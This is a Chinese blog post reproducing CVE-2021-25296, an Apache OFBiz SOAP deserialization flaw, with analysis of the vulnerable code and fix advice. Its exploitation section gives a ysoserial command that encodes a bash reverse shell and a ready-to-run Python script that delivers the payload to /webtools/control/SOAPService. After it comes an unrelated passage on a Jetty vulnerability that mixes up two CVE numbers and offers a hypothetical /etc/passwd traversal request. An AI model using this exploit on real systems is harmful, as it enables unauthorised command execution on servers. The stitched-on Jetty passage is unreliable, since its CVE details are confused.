CVE-2021-25296 复现

# 漏洞描述

名称:Apache OFBiz rmi反序列化漏洞

cve编号:cve-2021-25296

危害:未授权远程命令执行

影响版本:Apache OFBiz < 17.12.06

OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了一整套的开发基于Java的web应用程序的组件和工具,已经正式成为 Apache 的顶级项目。

rmi 是 java 远程方法调用,它能让某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。值得注意的是,rmi 传输过程必然会使用序列化和反序列化,如果使用不当,很容易造成反序列化漏洞。

# 漏洞分析

通过分析,触发漏洞的路由为 /webtools/control/SOAPService,SOAPService的EventHandler为SOAPEventHandler,SOAPEventHandler调用了SoapSerializer.deserialize,SoapSerializer.deserialize 又调用了 XmlSerializer.deserialize,该方法获取soap请求Body子节点后又调用了deserializeSingle解析xml,deserializeSingle中发现可以构造特殊的soap请求进入deserializeCustom()

在 deserializeCustom 方法中,如果标签为cus-obj则获取元素内容,并将其传入 getObject 方法中,getObject又调用了 getObjectException 方法

getObjectException 方法代码如下:

public static Object getObjectException(byte[] bytes) throws ClassNotFoundException, IOException {
try(ByteArrayInputStream bis = new ByteArrayInputStream(bytes); 
	SafeObjectInputStream wois = new SafeObjectInputStream(bis)) {
	return wois.readObject();
} 
}

代码中调用了 SafeObjectInputStream 对象的 readObject 进行反序列化,我们知道 SafeObjectInputStream 是重写后的 ObjectInputStream,在 ObjectInputStream 的基础上加了黑白名单过滤,我们来分析一下漏洞修复前的 SafeObjectInputStream 代码与修复后的差距,如下图所示

className.contains 后是黑黑名单的内容,绿色表示新增,红色表示删除,可以看到,在修复前黑名单的内容只有 org.apache.commons.fileupload,还是可以通过修复后增加的 java.rmi.server 触发漏洞执行命令

# 漏洞利用

使用 ysoserial 生成漏洞利用的 payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME  "bash -c {echo,想要执行的命令的base64编码}|{base64,-d}|{bash,-i}" | xxd|cut -f 2,3,4,5,6,7,8,9 -d " "|tr -d ' '|tr -d '\n'

因为命令执行成功也不会有回显,所以下面使用了 反弹 shell 的命令

将得到的 hex 数据赋给下面 payload 的变量 hex_data

import requests

url = 'http://host:port' + '/webtools/control/SOAPService'

hex_data = "aced000573.......000678"

headers = {
    'Content-Type': 'text/xml'
}

data = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
     <test>
        <cus-obj>{hex_data}</cus-obj>
     </test>
</soapenv:Body></soapenv:Envelope>'''

response = requests.post(url, data=data, headers=headers, verify=False, timeout=5)

if 'check your parameters' in response.text:
    print("maybe succeed")
else:
    print("maybe failed")

在 vps 上开启监听,运行脚本,成功获取shell

# 修复建议

  1. 升级 ofbiz 到版本大于 17.12.06
  2. 仿造官方修复办法,添加黑名单 java.rmi.server
  3. 限制不信任用户对 rmi 服务的访问
针对CVE-2021-41349漏洞复现,该漏洞涉及Jetty服务器中的WEB-INF文件读取问题。为了进行此漏洞复现实验,建议在一个受控环境中操作以确保安全。 ### 进入漏洞环境 对于CVE-2021-34429(请注意,这里提到的是CVE-2021-34429而非CVE-2021-41349,因为提供的参考资料中并未提及后者),可以按照如下方式进入相应的测试环境: ```bash cd vulhub/jetty/CVE-2021-34429 ``` 上述命令用于切换到包含特定漏洞配置的目录下[^1]。然而,关于CVE-2021-41349的具体细节以及其对应的vulhub路径未被提供,在实际尝试之前需要确认正确的CVE编号及其对应资源位置。 ### 启动容器并访问应用 通常情况下,启动Docker容器来运行带有已知漏洞的应用程序实例是一个常见的做法。虽然具体的启动指令没有给出,一般会涉及到`docker-compose up -d`这样的命令来后台启动服务。一旦服务启动完成,就可以通过浏览器或者其他HTTP客户端工具向目标URL发送请求来进行进一步的操作。 ### 构造利用载荷 考虑到这是一个与Web应用程序相关的漏洞,可能涉及到构造特殊的HTTP请求去绕过某些保护机制从而达到读取敏感文件的目的。例如,如果存在路径遍历漏洞,则可能会有类似的payload: ```http GET /path/to/vulnerable/resource/../../../../etc/passwd HTTP/1.1 Host: target.example.com ``` 但是需要注意的是,以上仅作为一个假设性的例子,并不一定适用于所有情况;具体到CVE-2021-41349还需要依据官方公告或研究论文中所描述的技术细节来构建合适的攻击向量。 鉴于目前的信息局限性,无法提供更多针对性指导。强烈建议查阅最新的安全通告和技术文档获取最准确的方法论。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值